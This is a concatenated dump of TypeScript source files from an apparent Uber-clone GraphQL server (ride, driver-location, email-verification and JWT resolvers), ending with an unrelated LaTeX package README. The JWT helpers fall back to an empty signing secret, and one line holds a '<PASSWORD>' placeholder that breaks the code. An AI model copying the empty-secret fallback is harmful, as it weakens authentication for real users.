import { Between, getRepository } from "../../../../node_modules/typeorm";
const resolvers: Resolvers = {
Query: {
GetNearbyDrivers : privateResolver (async(_,__, {req}) : Promise<GetNearbyDriversResponse> => {
const user:User = req.user;
const {lastLat, lastLng} = user;
const drivers: User[] = await getRepository(User).find({
isDriving:true,
lastLat:Between(lastLat - 0.05, lastLat + 0.05),
lastLng:Between(lastLng - 0.05, lastLng+0.05 )
})
try {
return {
ok:true,
error:null,
drivers
}
} catch(error){
return {
ok:false,
error:error.message,
drivers:null
}
}
})
},
};
export default resolvers;<file_sep>import {
BaseEntity,
CreateDateColumn,
Entity,
OneToMany,
PrimaryGeneratedColumn,
UpdateDateColumn,
} from 'typeorm';
import Message from "./Message";
import User from "./User";
@Entity()
class Chat extends BaseEntity {
@PrimaryGeneratedColumn() id: number;
@OneToMany(type=>Message, message=>message.chat)
messages:Message[]
@OneToMany(type=>User, user=>user.chat)
participants:User[]
@CreateDateColumn() createdAt: string;
@UpdateDateColumn() updatedAt: string;
}
export default Chat;
<file_sep>import jwt from "jsonwebtoken";
import User from "../entities/User";
// If there is a user with correct id from the token. then return the user or undefined
const decodeJWT = async (token:string) : Promise<User | undefined> => {
try {
const decoded:any = jwt.verify(token, process.env.JWT_TOKEN||"");
const {id} = decoded;
const user = await User.findOne({id});
return user;
} catch(error) {
return undefined;
}
}
export default decodeJWT;<file_sep>import { Resolvers } from "../../../types/resolvers";
import privateResolver from "../../../utils/privateResolver";
import { ReportMovementMutationArgs, ReportMovementResponse } from "../../../types/graph";
import User from "../../../entities/User";
import cleanNullArgs from "../../../utils/cleanNullArgs";
const resolvers: Resolvers = {
Mutation: {
ReportMovement:privateResolver (async (_, args:ReportMovementMutationArgs, {req, pubSub}) : Promise<ReportMovementResponse> => {
const user:User = req.user;
const notNull = cleanNullArgs(args);
try {
await User.update({id:user.id}, {...notNull});
const updatedUser = await User.findOne({id:user.id})
// When User updates his location,
// User will send(Publish) a updated data to the driverUpdate channel
pubSub.publish("driverUpdate", {DriversSubscription:updatedUser})
return {
ok:true,
error:null
}
} catch (error) {
return {
ok:false,
error:error.message
}
}
})
},
};
export default resolvers;<file_sep>import { withFilter } from "../../../../node_modules/graphql-yoga";
import User from "../../../entities/User";
const resolvers = {
Subscription: {
DriversSubscription: {
// Subscription is a notifcation.
// When you subscribe some program and program update news,
// they will send a notification (subscription).
// withFilter function you can filter the notification.
// EX) If I'm in the Korea, I don't want to get notification from the China.
subscribe: withFilter((_, __,{pubSub} ) => {
// This is creating a channel called driverUpdate.
// When somebody updates, the data will be sent here.
return pubSub.asyncIterator("driverUpdate")
}, (payload, _, {context}) => {
// payload is the data that user send.
// In this case it will be DriverSubscription:user from Report Movement
const user:User = context.currentUser;
const {
DriversSubscription:{lastLat:driverLastLat, lastLng:driverLastLng}
} = payload;
const {lastLat:userLastLat, lastLng:userLastLng} = user;
return (
driverLastLat >= userLastLat - 0.05 &&
driverLastLat <= userLastLat + 0.05 &&
driverLastLng >= userLastLng - 0.05 &&
driverLastLng <= userLastLng + 0.05
)
})
}
},
};
export default resolvers;<file_sep>// schema.ts 파일은 모든 .graphql 파일들을 합친 파일이다.
import {GraphQLSchema} from 'graphql';
import { makeExecutableSchema } from 'graphql-tools';
import {fileLoader, mergeResolvers, mergeTypes} from "merge-graphql-schemas";
import path from 'path';
// api폴더에 있는 모든 하위폴더들 중에서 .graphql로 끝나는 파일들을 찾는다.
const allTypes: GraphQLSchema[] = fileLoader(
path.join(__dirname, "./api/**/*.graphql")
);
// Find all the resolvers files inside api folder.
const allResolvers: string[] = fileLoader(
path.join(__dirname, "./api/**/*.resolvers.*")
);
// Merge all the graphqls and merge all the resolvers
const mergedTypes = mergeTypes(allTypes);
const mergedResolvers = mergeResolvers(allResolvers);
// Create Schema that includes graphql and resolvers.
// This is the object that will be used in GraphQLServer.
const schema = makeExecutableSchema({
typeDefs:mergedTypes,
resolvers:mergedResolvers
})
export default schema;<file_sep>import { Resolvers } from "../../../types/resolvers";
import privateResolver from "../../../utils/privateResolver";
import User from "../../../entities/User";
import { UpdateRideStatusMutationArgs, UpdateRideStatusResponse } from "../../../types/graph";
import Ride from "../../../entities/Ride";
const resolvers: Resolvers = {
Mutation : {
UpdateRideStatus:privateResolver(async(_, args:UpdateRideStatusMutationArgs, {req, pubSub}) : Promise<UpdateRideStatusResponse> => {
const user:User = req.user;
if(user.isDriving) {
try {
let ride : Ride | undefined;
if(args.status === "ACCEPTED") {
// When someone Requesting a ride,
// And ACCEPTED the request,
// change the ride driver to the user
ride = await Ride.findOne({ id: args.rideId, status: 'REQUESTING' });
if(ride) {
ride.driver = user;
user.isTaken = true;
ride.save();
}
} else {
ride = await Ride.findOne({
id:args.rideId,
driver:user
});
}
if(ride) {
ride.status = args.status;
ride.save();
pubSub.publish('rideUpdate', {RideStatusSubscription:ride})
return {
ok:true,
error:null
}
} else {
return {
ok:false,
error:"Can't Update Ride"
}
}
} catch(error) {
return {
ok:false,
error:error.message
}
}
} else {
return {
ok:false,
error:"You are not driving"
}
}
})
}
}
export default resolvers;<file_sep>import User from '../../../entities/User';
import { EmailSignInMutationArgs, EmailSignInResponse } from '../../../types/graph';
import { Resolvers } from "../../../types/resolvers";
import createJWT from '../../../utils/createJWT';
import Verification from '../../../entities/Verification';
import { sendVerificationEmail } from '../../../utils/sendEmail';
const resolvers:Resolvers = {
Mutation: {
EmailSignUp: async (_,args:EmailSignInMutationArgs) : Promise<EmailSignInResponse> => {
const {email} = args;
try{
const existingUser = await User.findOne({
email
})
if(existingUser) {
return {
ok:false,
error:"You already have an account",
token:null
}
} else {
const newUser = await User.create({...args}).save();
if(newUser.email) {
const emailVerification = await Verification.create({
payload:newUser.email,
target:"EMAIL"
}).save();
await sendVerificationEmail(
newUser.fullName,
emailVerification.key
)
}
const token = createJWT(newUser.id);
return {
ok:true,
error:null,
token
}
}
}catch(error) {
return {
ok:false,
error:error.message,
token:null
}
}
}
}
}
export default resolvers;<file_sep>import cors from 'cors';
import {GraphQLServer, PubSub} from 'graphql-yoga';
import helmet from "helmet";
import logger from "morgan";
import schema from "./schema";
import decodeJWT from './utils/decodeJWT';
import { NextFunction, Response } from '../node_modules/@types/express';
class App {
public app:GraphQLServer;
public pubSub: any;
constructor() {
// pubSub is for Subscription.
// Subscription is a notification.
this.pubSub = new PubSub();
this.pubSub.ee.setMaxListeners(99);
// GraphQLSever를 생성하려면
// Schema, resolver가 있어야한다.
this.app = new GraphQLServer({
// We are making not just one big Schema and resolver.
// So we are going to merge all the schemas and resolvers and
// put it inside "schema" object.
schema,
// If we define Context here then you can access request from all the resolvers.
// Context is something that goes to all the resolvers.
context: req => {
// request(req) is from not only http request but also websocket request.
// That's why you can access to the currentUser from the subscription.
// console.log(req.connection.context.currentUser);
const {connection : {context = null} = {}} = req;
return {
req: req.request,
pubSub: this.pubSub,
context
};
}
});
// We are using the middlewares that was defined in the bottom in GraphQL Server.
this.middlewares();
}
// GraphQLServer에서 작동하는 express를 사용한다.
// 그리고 필요한 미들웨어를 적용한다.
private middlewares = () : void => {
this.app.express.use(cors());
this.app.express.use(logger("dev"));
this.app.express.use(helmet());
this.app.express.use(this.jwt);
}
// This is JWT Middleware
// Decode Token and check if it is the right user.
private jwt = async (req, res:Response, next:NextFunction) : Promise<void>=> {
// The token sent from user is included in request header
const token = req.get("X-JWT");
if(token) {
// decodeJWT will return a user if the token has appropriate id.
const user = await decodeJWT(token);
// Attach user to the request header,
// so after we pass all the Middlewares
// we can use User on the GraphQL Server
if(user) {
req.user = user;
} else {
req.user = undefined;
}
}
// if jwt middleware is finished, go and run next middleware
next();
}
}
export default new App().app;<file_sep>import { Resolvers } from "../../../types/resolvers";
import privateResolver from "../../../utils/privateResolver";
import { User, RequestEmailVerificationResponse } from "../../../types/graph";
import Verification from "../../../entities/Verification";
import { sendVerificationEmail } from "../../../utils/sendEmail";
const resolvers: Resolvers = {
Mutation: {
RequestEmailVerification: privateResolver(async(_, __, {req}) : Promise<RequestEmailVerificationResponse>=> {
const user: User = req.user;
if(user.email && !user.verifiedEmail) {
try {
const oldVerification = await Verification.findOne({payload:user.email})
if(oldVerification) {
oldVerification.remove();
}
const newVerification = await Verification.create({
payload:user.email,
target:"EMAIL"
}).save();
if(user.fullName) {
await sendVerificationEmail(user.fullName, newVerification.key);
return {
ok:true,
error:null
}
} else {
return {
ok:false,
error:"no Full name"
}
}
} catch (error) {
return {
ok:false,
error:error.message
}
}
} else {
return {
ok:false,
error:"You have no email to verify"
}
}
})
},
};
export default resolvers;<file_sep>import dotenv from 'dotenv';
dotenv.config();
import { Options } from "graphql-yoga"
import {createConnection} from "typeorm";
import app from "./app";
import connectionOptions from "./ormConfig";
import decodeJWT from './utils/decodeJWT';
const PORT : number | string = process.env.PORT || 4000;
const PLAYGROUND_ENDPOINT : string = "/playground";
const GRAPHQL_ENDPOINT : string = '/graphql'
const SUBSCRIPTION_ENDPOINT : string = '/subscription';
const appOptions : Options = {
port:PORT,
playground:PLAYGROUND_ENDPOINT,
endpoint:GRAPHQL_ENDPOINT,
subscriptions: {
path: SUBSCRIPTION_ENDPOINT,
onConnect: async connectionParams => {
// connectionParams includes token
const token = await connectionParams['X-JWT'];
// console.log(token);
if(token) {
const user = await decodeJWT(token);
// console.log(user);
if(user) {
return {
// currentUser key is added automatically to the subscription context
// Which is api -> User -> DriverSubscription
currentUser:user
}
}
}
throw new Error("No JWT, Can't Subscribe");
}
}
}
const handleAppStart = () => {
console.log(`Listening on port ${PORT}`);
}
// DB와 연결이 되면 Server를 시작한다.
// 왜?
// 서버가 작동할때 DB안에 있는 데이터를 필요로 하는데
// DB와 연결이 안돼있으면 문제가 생길 수 있다.
createConnection(connectionOptions).then(()=> {
app.start(appOptions, handleAppStart);
})
<file_sep># uber-server
Cloning Uber Server with GraphQL
## Features
- [ ] Login / Sign up with Facebook
- [ ] Login with Email
- [ ] Starts Phone Number verification
- [ ] Complete Phone number verification
- [ ] Sing in with Email
- [ ] Get My Profile
- [ ] Update my Profile
- [ ] Report Location
- [ ] Add Place
- [ ] edit Place
- [ ] See nearby drivers<file_sep>import { Resolvers } from "../../../types/resolvers";
import privateResolver from "../../../utils/privateResolver";
import { UpdateMyProfileMutationArgs, UpdateMyProfileResponse } from "../../../types/graph";
import User from "../../../entities/User";
import cleanNullArgs from "../../../utils/cleanNullArgs";
const resolvers: Resolvers = {
Mutation: {
UpdateMyProfile:privateResolver(async (_, args:UpdateMyProfileMutationArgs, {req}) : Promise<UpdateMyProfileResponse> => {
// I'm getting a user from a context.
const user: User = req.user;
// When Updating arguments that User request,
// There might be a null args.
// And We don't want to change it to null.
// To prevent this, I created new objects that only takes not null arguments
// And this notNull object will be passed to Update function.
const notNull = cleanNullArgs(args);
// Update a user profile.
// update takes two argument
// 1. What do you want to update
// 2. How would you like to update
try {
// Why do we need this part?
// Well, If we just call update() function, then from the User Entity
// the @BeforeUpdate is not going to called,
// and this will make password unhashed.
// Then when does @BeforeUpdate, @BeforeInsert get triggered?
// They will be triggered when I change user object property and save it.
// That's why I set the user.password and user.save()
if(args.password !== null) {
user.password = <PASSWORD>;
user.save();
}
await User.update({ id: user.id }, { ...notNull })
return {
ok:true,
error:null
}
} catch(error) {
return {
ok:false,
error:error.message
}
}
})
}
};
export default resolvers;<file_sep>// First, Install yarn add jsonwebtoken, @types/jsonwebtoken --dev
// Import it.
// So what this file does?
// This will get userId from the user and encrypt with some key to make ugly string.
// Send that ugly string to the user back.
// Whenever user requests something user will send token.
// And server will check if it is right token and id.
import jwt from 'jsonwebtoken';
const createJWT = (id:number) : string => {
const token = jwt.sign({
id
},
process.env.JWT_TOKEN || ""
);
return token;
}
export default createJWT; | ad5a6928f7998df6eebc9eb845eae30313811aba | [
"Markdown",
"TypeScript"
] | 14 | TypeScript | bombkyu/uber-server | eb46431b894bfb0c92d0f196e46e7a433a2ad3fb | 2ad8b8e4705ea471f1bf304d75aaf220798d3332 |
refs/heads/master | <repo_name>khannasarthak/HealthMonitoringApp<file_sep>/HealthMonitor/app/src/main/java/com/healthmonitor/khann/healthmonitor/MainActivity.java
package com.healthmonitor.khann.healthmonitor;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import com.jjoe64.graphview.GraphView;
import com.jjoe64.graphview.GridLabelRenderer;
import com.jjoe64.graphview.series.DataPoint;
import com.jjoe64.graphview.series.LineGraphSeries;
import com.jjoe64.graphview.Viewport;
import java.util.Random;
import android.widget.Button;
import android.view.View.OnClickListener;
import android.util.Log;
// Wherever not marked as reference, is our code.
public class MainActivity extends AppCompatActivity implements OnClickListener {
// Declare all the private variables for this class
private LineGraphSeries mSeries1 = new LineGraphSeries<>();
private LineGraphSeries mSeries2 = new LineGraphSeries<>();
Random rand = new Random();
int x_value = 0;
Button runButton, stopButton;
GraphView graphView;
boolean firstRun = true;
// Reference to implement own Runnable class:
// https://www.tutorialspoint.com/java/java_thread_control.htm
class RunnableDemo implements Runnable {
public Thread thread;
public boolean suspended = false;
public void run() {
// we add 5000 new entries
for (int i = 0; i < 5000; i++) {
runOnUiThread(new RunnableDemo() {
@Override
public void run() {
addEntry();
}
});
// sleep to slow down the add of entries
try {
Thread.sleep(500);
synchronized (this) {
while (suspended) {
wait();
}
}
} catch (InterruptedException e) {
System.out.println("Exception caught: " + e);
}
}
}
void start () {
if (thread == null) {
thread = new Thread (this);
thread.start ();
}
}
void suspend() {
suspended = true;
}
synchronized void resume() {
suspended = false;
notify();
}
}
RunnableDemo R1 = new RunnableDemo();
@Override
protected void onCreate(Bundle savedInstanceState) {
// All initializations should go here
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
runButton = (Button) findViewById(R.id.run);
runButton.setOnClickListener(this);
stopButton = (Button) findViewById(R.id.stop);
stopButton.setOnClickListener(this);
graphView = (GraphView) findViewById(R.id.graph);
Viewport viewport = graphView.getViewport();
viewport.setYAxisBoundsManual(true);
viewport.setMinY(0);
viewport.setMaxY(2000);
viewport.setScrollable(true);
viewport.setBackgroundColor(-16777216);
viewport.setDrawBorder(true);
viewport.setXAxisBoundsManual(true);
viewport.setMinX(0);
viewport.setMaxX(40);
viewport.setScalable(true);
}
@Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.run: {
// Triggered when run button is clicked
Log.d("MR.bool", "Run was clicked ");
// runButton.setEnabled(false);
// stopButton.setEnabled(true);
graphView.addSeries(mSeries1);
if (firstRun) {
// Start graph for the first time if run clicked in the start
R1.start();
} else {
// If run is clicked again, resume drawing graph from when it was stopped
R1.resume();
}
break;
}
case R.id.stop: {
//Triggered when stop button is clicked
Log.d("MR.bool", "Stop was clicked ");
GraphView graph = (GraphView) findViewById(R.id.graph);
graph.removeAllSeries();
//runButton.setEnabled(true);
// stopButton.setEnabled(false);
firstRun = false;
R1.suspend();
break;
}
}
}
// Appends series objects to list after sleep in thread.
// http://www.ssaurel.com/blog/create-a-real-time-line-graph-in-android-with-graphview/
private void addEntry() {
float y = rand.nextFloat() * (2000 - 20) + 20;
mSeries1.appendData(new DataPoint(x_value, y), true, 500);
x_value += 1;
}
}<file_sep>/README.md
# HealthMonitoringApp
App to plot data witha moving graph.
| b9d19b8d701d01e5b220b6fa20ab02d669c31ba4 | [
"Markdown",
"Java"
] | 2 | Java | khannasarthak/HealthMonitoringApp | ad5aa87a137526b596a76f94c9eb1c081db4d6e1 | 4bdf21715a2058a8be5dc543301f05bb07893fb4 |
refs/heads/master | <repo_name>EsneiderLoaiza/crudspring<file_sep>/src/main/java/com/example/crudspring/service/EmpleadoService.java
package com.example.crudspring.service;
import com.example.crudspring.exception.UserNotFoundException;
import com.example.crudspring.model.Empleado;
import com.example.crudspring.repo.EmpleadoRepo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.nio.file.attribute.UserPrincipalNotFoundException;
import java.util.List;
import java.util.UUID;
@Service
public class EmpleadoService {
private final EmpleadoRepo empleadoRepo;
public EmpleadoService(EmpleadoRepo empleadoRepo) {
this.empleadoRepo = empleadoRepo;
}
public Empleado addEmpleado(Empleado empleado) {
empleado.setCodigoEmpleado(UUID.randomUUID().toString());
return empleadoRepo.save(empleado);
}
public List<Empleado> findAllEmpleados() {
return empleadoRepo.findAll();
}
public Empleado updateEmpleado(Empleado empleado) {
return empleadoRepo.save(empleado);
}
public Empleado findEmpleadoById(Long id) {
return empleadoRepo.findEmpleadoById(id)
.orElseThrow(() -> new UserNotFoundException("User by id " + id + " was not found"));
}
public void deleteEmpleado(Long id) {
empleadoRepo.deleteEmpleadoById(id);
}
}
| ec8e9450ccff0a43b3127101e9e7f39cc14e538a | [
"Java"
] | 1 | Java | EsneiderLoaiza/crudspring | 9ae78e484c7d240e4ac6ecbafb6ea365ec0db9d6 | 8434cf38f884c37469fbec11d00e5b3ed16aef34 |
refs/heads/master | <repo_name>ChristianSkrypski/Proj_refactor_monolithic_file<file_sep>/includes/utils.h
/*
* utils.h
*
* Created on: Sep 12, 2021
* Author: Christian
*/
#ifndef UTILS_H_
#define UTILS_H_
#include <vector>
#include "constants.h"
//sorts vector inplace based on mySortOrder (inplace means the vector is modified)
//returns nothing
void sort(const SORT_ORDER &mySortOrder, std:: vector<process> &myProcesses);
//gets the next process from the vector, then removes it from the vector
//returns removed process
process getNext(std:: vector<process> &myProcesses);
//returns the number of entries in the vector
int getSize(std:: vector<process> &myProcesses);
//attempt to correct missing data
//if cannot correct, then drop row
//return number of rows in myProcesses
int handleMissingData(std:: vector<process> &myProcesses);
#endif /* UTILS_H_ */
<file_sep>/utils/utils.cpp
/*
* utils.cpp
*
* Created on: Sep 12, 2021
* Author: Christian
*/
#include "../includes/utils.h"
using namespace std;
void sort(const SORT_ORDER &mySortOrder,vector<process> &myProcesses){
}
process getNext(vector<process> &myProcesses){
process p;
return p;
}
int getSize(vector<process> &myProcesses){
return UNIMPLEMENTED;
}
int handleMissingData(vector<process> &myProcesses){
return NO_DATA_TO_WORK_ON;
}
<file_sep>/includes/fileio.h
/*
* fileio.h
*
* Created on: Sep 13, 2021
* Author: Christian
*/
#ifndef FILEIO_H_
#define FILEIO_H_
#include <vector>
#include "constants.h"
//attempt to open file 'filename' and read in all data
//returns SUCCESS if all goes well or COULD_NOT_OPEN_FILE
int load(const std::string filename, std:: vector<process> &myProcesses);
//attempt to create or open file 'filename' to write all data to
//returns SUCCESS if all goes well or COULD_NOT_OPEN_FILE
int save(const std::string filename, std:: vector<process> &myProcesses);
#endif /* FILEIO_H_ */
<file_sep>/fileio/fileio.cpp
/*
* fileio.cpp
*
* Created on: Sep 13, 2021
* Author: Christian
*/
#include "../includes/fileio.h"
using namespace std;
int load(const std::string filename, vector<process> &myProcesses){
return UNIMPLEMENTED;
}
int save(const std::string filename, vector<process> &myProcesses){
return UNIMPLEMENTED;
}
| 4fd72dd5d5efdcb764d226bfc4689204e478aa43 | [
"C++"
] | 4 | C++ | ChristianSkrypski/Proj_refactor_monolithic_file | 1f590ccb7e694f588799c128591dd98f90e1946b | 9d45e2e6f1f2d2435e9d6fae90f690a2a56b2a72 |
refs/heads/master | <repo_name>jenkinsadministration/jenkins-admin_frontend<file_sep>/config/prod.env.js
module.exports = {
NODE_ENV: '"production"',
API_URI: '"https://us-central1-jenkinsadmin.cloudfunctions.net/api"',
}
<file_sep>/src/store/user/index.js
import * as firebase from 'firebase'
export default {
state: {
user: null
},
mutations: {
setUser (state, payload) {
state.user = payload
}
},
actions: {
signUserInGoogle ({commit}) {
commit('setLoading', true)
commit('clearError')
firebase.auth().setPersistence(firebase.auth.Auth.Persistence.LOCAL)
.then(() => {
firebase.auth().signInWithPopup(new firebase.auth.GoogleAuthProvider())
.then((result) => {
commit('setLoading', false)
const newUser = {
id: result.user.uid,
name: result.user.displayName,
email: result.user.email,
photoUrl: result.user.photoURL,
authToken: result.credential.authToken
}
commit('setUser', newUser)
})
.catch(
error => {
commit('setLoading', false)
commit('setError', error)
console.log(error)
}
)
})
.catch((error) => {
console.error(error)
})
},
autoSignIn ({commit}, user) {
user.getIdToken(true)
.then((authToken) => {
commit('setUser', {
id: user.uid,
name: user.displayName,
email: user.email,
photoUrl: user.photoURL,
authToken: authToken
})
})
.catch((e) => (console.error(e)))
},
logout ({commit}) {
firebase.auth().signOut()
commit('setUser', null)
}
},
getters: {
user (state) {
return state.user
}
}
}
<file_sep>/src/router/index.js
import Vue from 'vue'
import Router from 'vue-router'
import Home from '../components/Home'
import Profile from '../components/User/Profile'
import Signup from '../components/User/Signup'
import Signin from '../components/User/Signin'
import AuthGuard from './auth-guard'
import ProjectIndex from '../components/Project/Index'
import ProjectEdit from '../components/Project/Edit'
import ProjectNew from '../components/Project/New'
import JobShow from '../components/Job/Show'
import JobEdit from '../components/Job/Edit'
import PluginsIndex from '../components/Plugin/Plugins'
import PlatformIndex from '../components/Platform/PlatformIndex'
import PlatformNew from '../components/Platform/PlatformNew'
import PlatformEdit from '../components/Platform/PlatformEdit'
import PlatformShow from '../components/Platform/PlatformShow'
import ConfigurationIndex from '../components/Configuration/Index'
import ConfigurationEnvironmentVars from '../components/Configuration/EnvironmentVars'
import ConfigurationCredentials from '../components/Configuration/Credentials'
import ConfigurationToolConfiguration from '../components/Configuration/ToolConfiguration'
Vue.use(Router)
export default new Router({
routes: [
{
path: '/',
name: 'Home',
component: Home,
beforeEnter: AuthGuard
},
{
path: '/profile',
name: 'Profile',
component: Profile,
beforeEnter: AuthGuard
},
{
path: '/signup',
name: 'Signup',
component: Signup
},
{
path: '/signin',
name: 'Signin',
component: Signin
},
{
path: '/projects',
name: 'ProjectIndex',
component: ProjectIndex,
beforeEnter: AuthGuard
},
{
path: '/projects/:id/edit',
name: 'ProjectEdit',
component: ProjectEdit,
beforeEnter: AuthGuard
},
{
path: '/projects/new',
name: 'ProjectNew',
component: ProjectNew,
beforeEnter: AuthGuard
},
{
path: '/projects/:projectId/jobs/:type/:id',
name: 'JobShow',
component: JobShow,
beforeEnter: AuthGuard
},
{
path: '/projects/:projectId/jobs/:type/:id/edit',
name: 'JobEdit',
component: JobEdit,
beforeEnter: AuthGuard
},
{
path: '/plugins',
name: 'PluginsIndex',
component: PluginsIndex,
beforeEnter: AuthGuard
},
{
path: '/platforms',
name: 'PlatformIndex',
component: PlatformIndex,
beforeEnter: AuthGuard
},
{
path: '/platforms/:scope/platforms/new',
name: 'PlatformNew',
component: PlatformNew,
beforeEnter: AuthGuard
},
{
path: '/platforms/:scope/platforms/:id/edit',
name: 'PlatformEdit',
component: PlatformEdit,
beforeEnter: AuthGuard
},
{
path: '/platforms/:scope/platforms/:id/show',
name: 'PlatformShow',
component: PlatformShow,
beforeEnter: AuthGuard
},
{
path: '/configuration',
name: 'ConfigurationIndex',
component: ConfigurationIndex,
beforeEnter: AuthGuard
},
{
path: '/configuration/environment_vars',
name: 'ConfigurationEnvironmentVars',
component: ConfigurationEnvironmentVars,
beforeEnter: AuthGuard
},
{
path: '/configuration/credentials',
name: 'ConfigurationCredentials',
component: ConfigurationCredentials,
beforeEnter: AuthGuard
},
{
path: '/configuration/tool_configurations',
name: 'ConfigurationToolConfiguration',
component: ConfigurationToolConfiguration,
beforeEnter: AuthGuard
}
],
mode: 'history'
})
<file_sep>/README.md
# Jenkins Management by Code - FrontEnd
> VueJs Application
When you have multiples projects to maintenance, you start thinking about templates
to generate projects and edit all of then with a simple line of code and not doing
it manually.

## The Concept
A website to store the configuration to easily replicate in case of recreate the
server, to prevent human mistakes and depend of the memory of one team member.
## Requirements
- Node 8 or above
- A Firebase account
## Configuration
### Step 1
Enable Google authentication method in the [Firebase console](https://console.firebase.google.com/)
### Step 2
Initialize Firebase at ``main.js`` with your [Firebase Credentials](https://console.firebase.google.com/)
``` bash
firebase.initializeApp({
apiKey: '',
authDomain: '',
databaseURL: '',
projectId: '',
storageBucket: ''
})
```
### Step 3
Setup your api endpoints at the ``config`` folder you'll found two files for ``dev``
and ``prod`` environment. Both of them have the attribute ``API_URI`` that point to the api.
## Installation
``` bash
# install dependencies
npm install || yarn install
# serve with hot reload at localhost:8080
npm run dev || yarn dev
# build for production with minification and to build Progressive Web Apps
npm run build || yarn build
```
## Tests
> 404 - No tests found
## Authors
- [<NAME>](https://javiercaballero.info) - [@caballerojavier13](https://github.com/caballerojavier13) - `AR`
## Contributing
All the contributions are welcome. Feel free to create a Pull Request.
## License
MIT © <NAME>
| 0105e3b534a8c54ff522c06075b92c2df3fd3a3c | [
"JavaScript",
"Markdown"
] | 4 | JavaScript | jenkinsadministration/jenkins-admin_frontend | dbddff3a6f6901737dc3c0c9431ec6cbe07b7411 | a2d0448435394f9ef314bc39eab63e9dd7ce99f4 |
refs/heads/main | <repo_name>michael-ruiz/Rock-Paper-Scissors<file_sep>/main.py
import pygame
import os
import random
from Button import Button
pygame.font.init()
pygame.display.set_caption('Rock Paper Scissors Game')
WIDTH, HEIGHT = 900, 500
WINDOW = pygame.display.set_mode((WIDTH, HEIGHT))
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
RED = (255, 0, 0)
GREEN = (0, 255, 0)
FPS = 60
npc_points = 0
player_points = 0
clock = pygame.time.Clock()
ROCK_IMG = pygame.image.load(os.path.join('Assets', 'ROCK.png'))
PAPER_IMG = pygame.image.load(os.path.join('Assets', 'PAPER.png'))
SCISSORS_IMG = pygame.image.load(os.path.join('Assets', 'SCISSORS.png'))
POINT_FONT = pygame.font.SysFont('Arial', 25, bold=True)
TITLE_FONT = pygame.font.SysFont('Arial', 35, bold=True)
rock_btn = Button(WHITE, 50, (HEIGHT/2 - 125), 249, 250, '')
paper_btn = Button(WHITE, (WIDTH/2 - 125), (HEIGHT/2 - 125), 249, 250, '')
scissors_btn = Button(WHITE, (WIDTH - 300), (HEIGHT/2 - 125), 249, 250, '')
LOSE_IMG = pygame.image.load(os.path.join('Assets', 'lose.png'))
WIN_IMG = pygame.image.load(os.path.join('Assets', 'win.png'))
TIE_IMG = pygame.image.load(os.path.join('Assets', 'tie.png'))
quit_btn = Button(RED, 250, 300, 150, 75, 'Quit')
retry_btn = Button(GREEN, 450, 300, 150, 75, 'Retry')
def draw_start():
global player_points, npc_points
WINDOW.fill(WHITE)
title_font = TITLE_FONT.render('Welcome to Rock Paper Scissors!', True, BLACK)
WINDOW.blit(title_font, (210, 10))
player_font = POINT_FONT.render('Player Score: ' + str(player_points), True, BLACK)
WINDOW.blit(player_font, (10, 10))
npc_font = POINT_FONT.render('NPC Score: ' + str(npc_points), True, BLACK)
WINDOW.blit(npc_font, (WIDTH-140, 10))
rock_btn.draw(WINDOW)
paper_btn.draw(WINDOW)
scissors_btn.draw(WINDOW)
WINDOW.blit(ROCK_IMG, (50, HEIGHT/2 - 125))
WINDOW.blit(PAPER_IMG, (WIDTH/2 - 125, HEIGHT/2 - 125))
WINDOW.blit(SCISSORS_IMG, ((WIDTH - 300), HEIGHT/2 - 125))
pygame.display.update()
def draw_end(end_type):
run = True
while run:
global player_points, npc_points
WINDOW.fill(WHITE)
player_font = POINT_FONT.render('Player Score: ' + str(player_points), True, BLACK)
WINDOW.blit(player_font, (10, 10))
npc_font = POINT_FONT.render('NPC Score: ' + str(npc_points), True, BLACK)
WINDOW.blit(npc_font, (WIDTH-170, 10))
if end_type == 0:
WINDOW.blit(LOSE_IMG, (0, 0))
elif end_type == 2:
WINDOW.blit(WIN_IMG, (0, 0))
else:
WINDOW.blit(TIE_IMG, (0, 0))
quit_btn.draw(WINDOW, (0,0,0))
retry_btn.draw(WINDOW, (0,0,0))
for event in pygame.event.get():
mouse_pos = pygame.mouse.get_pos()
if event.type == pygame.QUIT:
run = False
pygame.quit()
if event.type == pygame.MOUSEBUTTONDOWN:
if quit_btn.is_over(mouse_pos):
pygame.quit()
if retry_btn.is_over(mouse_pos):
main()
clock.tick(FPS)
pygame.display.update()
def is_winner(player_choice):
choices = ['rock', 'paper', 'scissors']
global player_points, npc_points
num = random.randint(0,2)
npc_choice = choices[num]
end_type = 1
if npc_choice == 'rock' and player_choice == 'paper':
end_type = 2
player_points += 1
elif npc_choice == 'rock' and player_choice == 'scissors':
end_type = 0
npc_points += 1
elif npc_choice == 'paper' and player_choice == 'scissors':
end_type = 2
player_points += 1
elif npc_choice == 'paper' and player_choice == 'rock':
end_type = 0
npc_points += 1
elif npc_choice == 'scissors' and player_choice == 'rock':
end_type = 2
player_points += 1
elif npc_choice == 'scissors' and player_choice == 'paper':
end_type = 0
npc_points += 1
return end_type
def main():
run = True
while run:
draw_start()
clock.tick(FPS)
for event in pygame.event.get():
mouse_pos = pygame.mouse.get_pos()
if event.type == pygame.QUIT:
run = False
pygame.quit()
if event.type == pygame.MOUSEBUTTONDOWN:
if rock_btn.is_over(mouse_pos):
player_choice = 'rock'
draw_end(is_winner(player_choice))
if paper_btn.is_over(mouse_pos):
player_choice = 'paper'
draw_end(is_winner(player_choice))
if scissors_btn.is_over(mouse_pos):
player_choice = 'scissors'
draw_end(is_winner(player_choice))
pygame.quit()
if __name__ == '__main__':
main()<file_sep>/README.md
# Rock-Paper-Scissors
Rock paper scissors game made in python using the pygame module
| 8bb2f28660ac2e0ff3a53f228dc3609089c5b611 | [
"Markdown",
"Python"
] | 2 | Python | michael-ruiz/Rock-Paper-Scissors | 2a0772f9ccc6e570fcf8f7b9665cf0dcbade7a60 | a5516aa5f924d8e84dbe56b15f246e07df51d715 |
refs/heads/master | <repo_name>TeX-Live/tlcontrib<file_sep>/texmf-dist/doc/latex/aeb-tilebg/README.md
The aeb_tilebg Package
Author: <NAME>
Dated: 2018/04/26
Version: v1.2
This package is a simple application of established packages graphicx,
multido and AeB Web. The package takes a rectangular graphic and uses it to
tile the background of the pages.
Download your favorite tiled background swatch from the Internet, convert it
